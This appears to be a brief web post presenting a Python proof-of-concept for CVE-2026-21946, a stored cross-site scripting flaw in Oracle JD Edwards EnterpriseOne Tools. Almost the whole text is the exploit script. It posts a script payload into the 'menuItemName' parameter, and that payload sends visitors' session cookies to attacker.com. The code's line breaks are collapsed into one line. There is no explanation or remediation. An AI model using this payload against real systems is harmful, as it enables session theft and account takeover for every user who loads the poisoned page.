CVE-2026-21946: Oracle JD Edwards EnterpriseOne Tools Web Runtime SEC漏洞

import requests import re # CVE-2026-21946 PoC - Stored XSS in JD Edwards EnterpriseOne Tools # Target: Oracle JD Edwards EnterpriseOne Tools <= 9.2.26.0 TARGET_URL = "https://target-host/jde/E1MenuPage.ISO" VULNERABLE_PARAM = "menuItemName" PAYLOAD = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" def exploit_cve_2026_21946(): """ Exploit for CVE-2026-21946: Stored XSS in Web Runtime SEC This PoC demonstrates how an attacker can inject malicious scripts that get stored and executed when other users access the page. """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml' } # Step 1: Inject malicious script via vulnerable parameter data = { VULNERABLE_PARAM: PAYLOAD, 'formAction': 'save' } print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Injecting payload: {PAYLOAD}") try: response = requests.post(TARGET_URL, data=data, headers=headers, timeout=30, verify=False) if response.status_code == 200: print("[+] Payload injected successfully") print("[*] The script will execute when users visit the affected page") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": exploit_cve_2026_21946()